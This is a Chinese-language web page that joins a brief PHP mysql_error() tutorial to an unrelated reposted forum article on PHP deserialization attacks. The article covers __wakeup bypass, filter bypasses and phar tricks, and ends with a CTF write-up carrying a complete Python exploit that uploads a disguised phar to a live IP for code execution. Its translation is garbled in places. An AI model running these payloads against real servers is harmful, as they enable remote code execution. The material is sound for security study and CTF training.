php 打印-如何在php中复制数据库错误消息

2023-08-21 0 3,386 百度已收录

如何在php中复制数据库错误信息: 1.创建PHP示例文件; 2、通过mysql_connect连接数据库; 3、通过mysql_error函数复制数据库错误信息。

本文的运行环境:Windows7系统、PHP7.1版本、DELLG3笔记本。

php如何复制数据库错误信息?

代码如下所示:

php 打印-如何在php中复制数据库错误消息

$link = @mysql_connect("服务器", "账号", "密码") or die("自己的错误解释".mysql_error());   
echo mysql_error(); //打印数据错误信息

相关介绍:

mysql_错误

(PHP4、PHP5)

mysql_error — 返回上次 MySQL 操作的文本错误消息

阐明

php 打印-如何在php中复制数据库错误消息

mysql_error(resource $link_identifier = ?): string

返回上一个 MySQL 函数的错误文本php 打印,如果没有发生错误,则返回 ''(空字符串)。 如果未指定连接资源号php 打印,则使用上次成功打开的连接从 MySQL 服务器获取错误消息。

MySQL数据库前端的错误不再警告,使用mysql_error()提取错误文本。 请注意,该函数仅返回最近一次执行 MySQL 函数的错误文本(不包括 mysql_error() 和 mysql_errno()),因此如果要使用该函数,请务必在调用另一个 MySQL 函数之前检查其值。

mysqli_error()

mysqli_error() 函数返回最近调用的函数的最后一个错误描述。

句型

php 打印-如何在php中复制数据库错误消息

mysqli_error(connection);

范围

需要连接。 指定要使用的 MySQL 连接。

返回值:返回包含错误描述的字符串。 如果没有发生错误则返回“”。

PHP版本:5+

推荐学习:《PHP视频教程》

本文是看学论坛上的一篇优秀文章

看学论坛作者ID:pank1s



简介

虽然序列化是将数据转换为可逆的数据结构,但自然地,相反的过程称为反序列化。 简单来说,我在一个地方构造了一个类,但是我想在另一个地方使用它,那么如何传递呢? 于是就想到了序列化这些东西,先把对象序列化成字符串(数据),后面需要用到的时候再反序列化,得到要使用的对象,非常方便。

我们来看看官方指南()是怎么说的:

PHP以上的所有值都可以通过使用函数serialize()()返回包含字节流的字符串来表示。 unserialize()() 函数可以将字符串改回 php.ini 的原始值。 序列化一个对象会保存该对象的所有变量,但不会保存该对象的方法,只保存类名。

为了 unserialize() 一个对象,该对象的类必须已经定义。 如果序列化一个A类的对象,会返回一个与A类相关、包含该对象所有变量值的字符串。 如果要反序列化另一个文件中的对象,则必须在反序列化之前定义该对象的类,这可以通过包含定义该类的文件或使用函数 spl_autoload_register()() 来实现。

PHP 使用两个函数来序列化和反序列化数据:

Serialize() 将对象转换为有序字符串。

unserialize() 将字符串恢复为原始对象。

序列化的目的是为了方便数据的传输和存储。 在PHP中,序列化和反序列化通常用作缓存,例如会话缓存、cookie等。

注意:在 php 中创建对象与反序列化对象不同。 例如,创建一个对象通常会先调用 __construct() 方法,如果有 __wakeup() 方法,则反序列化对象。 首先调用它而不是执行 __construct()。



常见序列化格式介绍

基本上每种编程语言都有自己的序列化和反序列化方法,格式也不同

就像有:

简单的例子

<?php$arr = array('aa', 'bb', 'cc' => 'dd');$serarr = serialize($arr);echo $serarr;var_dump($arr);

输出

a:3:{i:0;s:2:"aa";i:1;s:2:"bb";s:2:"cc";s:2:"dd";}array(3) {    [0]=> string(2) "aa"    [1]=> string(2) "bb"    ["cc"]=> string(2) "dd"}

这个输出序列代表什么?

a:3:{i:0;s:2:"aa";i:1;s:2:"bb";s:2:"cc";s:2:"dd";}

a:array表示链表,后面的3表示有3个属性。

i:代表整型数据int,后面的0是链表的下标(O代表Object,也是一个类)。

s:代表字符串php 变量,后面的2是因为aa的粗细为2,即字符串宽度值。

等等。

同时需要注意的是,序列化后,只有成员变量,没有成员函数。

注意,如果变量是protected的,则在变量名前添加x00*x00,为private则在变量名前添加x00类名x00,输出时通常需要url编码,如下:

<?phpclass test {    protected $name;    private $pass;    function __construct($name, $pass) {        $this->name = $name;        $this->pass = $pass;    }}$a = new test('pankas', '123');$seria = serialize($a);echo $seria.'
'
;
echo urlencode($seria);

直接输出会导致丢失不可见字符x00。

O:4:"test":2:{s:7:"*name";s:6:"pankas";s:10:"testpass";s:3:"123";}O%3A4%3A%22test%22%3A2%3A%7Bs%3A7%3A%22%2Aname%22%3Bs%3A6%3A%22pankas%22%3Bs%3A10%3A%22testpass%22%3Bs%3A3%3A%22123%22%3B%7D



反序列化常用魔术方法

详细使用请参考官方文档()

__construct()//类的构造函数,创建类对象时调用 __destruct()//类的析构函数,对象销毁时调用 __call()//在对象中调用一个不可访问方法时调用 __callStatic()//用静态方式中调用一个不可访问方法时调用 __get()//获得一个类的成员变量时调用 __set()//设置一个类的成员变量时调用 __isset()//当对不可访问属性调用isset()或empty()时调用 __unset()//当对不可访问属性调用unset()时被调用。 __sleep()//执行serialize()时,先会调用这个函数 __wakeup()//执行unserialize()时,先会调用这个函数,执行后不会执行__construct()函数 __toString()//类被当成字符串时的回应方法 __invoke()//调用函数的方式调用一个对象时的回应方法 __set_state()//调用var_export()导出类时,此静态方法会被调用。 __clone()//当对象复制完成时调用 __autoload()//尝试加载未定义的类 __debugInfo()//打印所需调试信息



各种绕过姿势

绕过 __wakeup (CVE-2016-7124)

当wakeup()魔术执行unserialize()时,该函数将首先被调用,而`construct()`函数将不会被执行。

绕过方法:当序列化字符串中代表对象属性个数的值小于实际属性个数时,会跳过__wakeup的执行。

喜欢:

<?phpclass test{    public $a;    public function __construct(){        $this->a = 'abc';    }    public function __wakeup(){        $this->a='def';    }    public function  __destruct(){        echo $this->a;    }}

序列化后为O:4:"test":1:{s:1:"a";s:3:"abc";}

执行反序列化 unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

结果是def,发现先执行了__wakeup(),没有执行__construct()。

当我们增加对象的属性个数时,改为O:4:"test":2:{s:1:"a";s:3:"abc";},由原来的1个属性有2,但是测试类只有一个真实的属性,这样就可以绕过__wakeup()来执行其他相应的魔术,而无需这个魔术。

执行反序列化 unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');

结果是abc,发现先执行了__construct(),没有执行__wakeup()。

__destruct() 相关

__destruct 是 PHP 对象的一个​​神奇技术,称为析构函数,顾名思义,这是一个在对象被销毁时手动执行的函数。 以下情况会触发__destruct。

另外,PHP还有垃圾收集,也就是我们常说的GC机制。

PHP 中的 GC 使用引用计数和回收周期来手动管理视频内存对象。 那么当我们的对象变成“垃圾”时,就会被GC机制手动回收。 在回收过程中,函数的__destruct会被调用。

刚才我们谈到了引用计数。 事实上,当一个对象没有任何引用时,它就会被视为“垃圾”,即

$a = new test();

测试对象被变量a引用,所以该对象不是“垃圾”,如果是

new test();

或这个

$a = new test();$a = 1;

这样,当测试没有被引用或者丢失引用时,就会被当作“垃圾”进行回收。

喜欢:

<?phpclass test{function __construct($i) {$this->i = $i; }function __destruct() { echo $this->i."Destroy...n"; }}new test('1');$a = new test('2');$a = new test('3');echo "————————————
"
;

输出

1Destroy...2Destroy...————————————3Destroy...

这里是当第二个形参test('2')失去引用时,执行__destruct,然后执行echo,当程序结束时,test('3')被销毁,并执行其__destruct。

举个栗子:

<?phpclass test {    function __destruct(){        echo 'success!!';    }}if(isset($_REQUEST['input'])) {    $a = unserialize($_REQUEST['input']);    throw new Exception('lose');}

这里我们请求输出success!!,但是反序列化后得到的对象有引用,并且给定了a变量,然后程序抛出异常,异常结束,导致GC机制没有正常完成,即,不执行__destruct。

直接构造反序列化测试类得到:

所以我们必须反序列化来自动“销毁”创建的对象。 这里我们可以借助链表来完成。 结构:

class test {}$a = serialize(array(new test, null));echo $a.'
'
;
$a = str_replace(':1', ':0', $a);//将序列化的数组下标为0的元素给为nullecho $a;

得到

a:2:{i:0;O:4:"test":0:{}i:1;N;}a:2:{i:0;O:4:"test":0:{}i:0;N;}//最终payload

来了,顺利获得成功!!

我们序列化一个链表对象,并考虑反序列化这个字符串,因为反序列化过程是顺序执行的,所以当我们到达第一个属性时,我们将Array[0]设置为对象,同时将Array[0]设置为] 设置为null,这样后面的测试对象就会失去引用,会被GC捕获,可以执行__destruct。

绕过正则表达式

例如,preg_match('/^O:d+/') 匹配序列化字符串是否为对象字符串的开头。

绕过方法

<?phpclass test{    public $a;    public function __construct(){        $this->a = 'abc';    }    public function  __destruct(){        echo $this->a.PHP_EOL;    }} function match($data){    if (preg_match('/^O:d+/',$data)){        die('nonono!');    }else{        return $data;    }}$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';// +号绕过$b = str_replace('O:4','O:+4', $a);unserialize(match($b));// 将对象放入数组绕过 serialize(array($a));unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

使用引号来绕过

如下,要求输出成功,但是构造的序列化字符串不能由aaa组成

<?phpclass test {    public $a;    public $b;    public function __construct(){        $this->a = 'aaa';    }    public function __destruct(){         if($this->a === $this->b) {            echo 'you success';        }    }}if(isset($_REQUEST['input'])) {    if(preg_match('/aaa/', $_REQUEST['input'])) {       die('nonono');    }    unserialize($_REQUEST['input']);}else {    highlight_file(__FILE__);}

可以通过引用来规避

class test {    public $a;    public $b;    public function __construct(){        $this->b = &$this->a;    }}$a = serialize(new test());echo $a;//O:4:"test":2:{s:1:"a";N;s:1:"b";R:2;}

构造引用会使 $b 和 $a 具有相同的地址,从而绕过检查php 变量,满足要求。

十六进制绕过字符过滤

当序列字符串中表示字符类型的小写s被解析为十六进制时。

举个栗子:

<?phpclass test{    public $username;    public function __construct(){        $this->username = 'admin';    }    public function  __destruct(){        echo 'success';    }}function check($data){    if(preg_match('/username/', $data)){        echo("nonono!!!
"
);
} else{ return $data; }}// 未作处理前,会被waf拦截$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';$a = check($a);unserialize($a);// 将小s改为大S; 做处理后 75是u的16进制, 成功绕过$a = 'O:4:"test":1:{S:8:"\75sername";s:5:"admin";}';$a = check($a);unserialize($a);

输出



phar反序列化

前言

我总结了phar的基本介绍以及如何使用,参考链接(%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6% E4%B9%A0%E7%AC%94%E8%AE%B0/)

同时要重点关注官方文档中对phar的介绍()(一定要关注官方文档,官方文档yyds)

这里我重点补充一下我之前的总结。

生成phar

<?phpclass TestObject {} @unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub(""); //设置stub$o = new TestObject();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();

ps:注意,phar中存储的对象在反序列化后会被phar对象的元数据属性引用。

一些绕过形式

当环境限制时,phar不能出现以下字符。 您可以使用 compress.bzip2:// 和 compress.zlib:// 来绕过。

compress.bzip://phar:///test.phar/test.txtcompress.bzip2://phar:///test.phar/test.txtcompress.zlib://phar:///home/sx/test.phar/test.txt

您还可以使用其他合约,例如过滤器过滤器。

php://filter/read=convert.base64-encode/resource=phar://phar.phar

通过在文件后面添加 GIF89a 可以绕过 GIF 格式验证。

$phar->setStub(“GIF89a”.""); //设置stub//生成一个phar.phar,修改后缀名为phar.gif

过滤 __HALT_COMPILER(); 参考(原理)

姿势1:

**将phar文件进行gzip压缩** ,使用压缩后phar文件同样也能反序列化 (常用)

Linux下使用命令gzip phar.phar生成。

姿势2:

将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过

$phar_file = serialize($exp);echo $phar_file;$zip = new ZipArchive();$res = $zip->open('1.zip',ZipArchive::CREATE);$zip->addFromString('crispr.txt', 'file content goes here');$zip->setArchiveComment($phar_file);$zip->close();

phar 文件签名更改

对于个别情况,我们需要更改phar文件的内容来满足个别需求(例如绕过__wakeup,更改属性个数),而更改后的phar文件需要更改签名才能正常使用,因为文件已更改。 官方文档是这么说的:

Phar 签名格式 (#phar.fileformat.signature)

包含签名的 Phar 始终将签名附加到 Phar 存档末尾的加载程序、清单和文件内容之后。 目前支持的签名格式有MD5、SHA1、SHA256、SHA512和OPENSSL。

使用winhex或010-editor查看phar文件签名类型(以上面代码生成的phar文件为例)

以默认的sha1签名为例:

from hashlib import sha1with open('phar.phar', 'rb') as file:    f = file.read()     # 修改内容后的phar文件,以二进制文件形式打开 s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB) with open('newPhar.phar', 'wb') as file:    file.write(newf) # 写入新文件

运行脚本得到的newPhar.phar可以正常使用。

案子

标题来源:NSSCTF Round#4 Team-1zweb(revenge)

我不会谈论之前阅读任何文件并获取源代码。 重点是它的phar反序列化

索引.php:

<?phpclass LoveNss{    public $ljt;    public $dky;    public $cmd;    public function __construct(){//__wakeup执行后__construct并不会执行        $this->ljt="ljt";        $this->dky="dky";        phpinfo();    }    public function __destruct(){        if($this->ljt==="Misc"&&$this->dky==="Re")            eval($this->cmd);    }    public function __wakeup(){//需要绕过__wakeup,更改序列化属性个数即可绕过        $this->ljt="Re";        $this->dky="Misc";    }}$file=$_POST['file'];if(isset($_POST['file'])){    if (preg_match("/flag/i", $file)) {        die("nonono");    }    echo file_get_contents($file);}

上传.php:

<?phpif ($_FILES["file"]["error"] > 0){    echo "上传异常";}else{    $allowedExts = array("gif", "jpeg", "jpg", "png");    $temp = explode(".", $_FILES["file"]["name"]);    $extension = end($temp);    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){        $content=file_get_contents($_FILES["file"]["tmp_name"]);        $pos = strpos($content, "__HALT_COMPILER();");//ban掉了明文的stub标识        if(gettype($pos)==="integer"){            echo "ltj一眼就发现了phar";        }else{            if (file_exists("./upload/" . $_FILES["file"]["name"])){                echo $_FILES["file"]["name"] . " 文件已经存在";            }else{                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");                fwrite($myfile, $content);                fclose($myfile);                echo "上传成功 ./upload/".$_FILES["file"]["name"];            }        }    }else{        echo "dky不喜欢这个文件 .".$extension;    }}?>

分析源码发现__HALT_COMPILER(); 徽标已被删除。 如果没有这个,phar就不会被识别。 这可以通过使用 gzip 压缩来绕过。

可以通过更改序列属性的数量来绕过 __wakeup。 注意,改变phar文件后,需要重新签名,使用上面的脚本即可。

生成phar:

<?phpclass LoveNss{    public $ljt;    public $dky;    public $cmd;    public function __construct($ljt, $dky, $cmd){        $this->ljt = $ljt;        $this->dky = $dky;        $this->cmd = $cmd;    }} @unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub(""); //设置stub$o = new LoveNss("Misc", "Re", "cat /flag");$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();

修改签名并上传文件,访问获取flag后触发phar反序列化。

经验:

import requestsfrom hashlib import sha1import gzipimport redef getPhar():    with open('phar.phar', 'rb') as file:        f = file.read()    s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)    s = s.replace(b'3:{', b'4:{')# 绕过__wakeup    h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节    newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)    return gzip.compress(newf)# 进行gzip压缩 def upload(file):    burp0_url = "http://1.14.71.254:28403/upload.php"    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://1.14.71.254:28403", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryfXBfemuGHEVNBhN8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://1.14.71.254:28403/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}    burp0_data = b"------WebKitFormBoundaryfXBfemuGHEVNBhN8rnContent-Disposition: form-data; name="file"; filename="phar.jpg"rnContent-Type: image/jpegrnrn" + file + b"rn------WebKitFormBoundaryfXBfemuGHEVNBhN8rnContent-Disposition: form-data; name="submit"rnrnrn------WebKitFormBoundaryfXBfemuGHEVNBhN8--rn"    # 注意数据类型为byte类型,应该file为byte类型,相同数据类型才能合并    requests.post(burp0_url, headers=burp0_headers, data=burp0_data) def getFlag():    burp0_url = "http://1.14.71.254:28403/"    burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", "Origin": "http://1.14.71.254:28403", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://1.14.71.254:28403/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}    burp0_data = {"file": "phar://./upload/phar.jpg/test.txt", "submit": ''}    res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)    return re.findall('(NSSCTF{.*?})', res.text)[0] if __name__ == '__main__':    upload(getPhar())    print(getFlag())

跑去拿旗子。

ps:注意,如果使用burp代理抓包并上传gzip压缩的phar,可能会出现bug,而且burp会改变gzip数据,导致phar文件难以识别

看雪 ID:pank1s

*本文由看学论坛pank1s原创,转载时请注明来自看学社区

#之前的推荐

1、

2、

3.

4.

5.

6.

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悟空资源网 php php 打印-如何在php中复制数据库错误消息 https://www.wkzy.net/game/128594.html

常见问题

相关文章

官方客服团队

为您解决烦忧 - 24小时在线 专业服务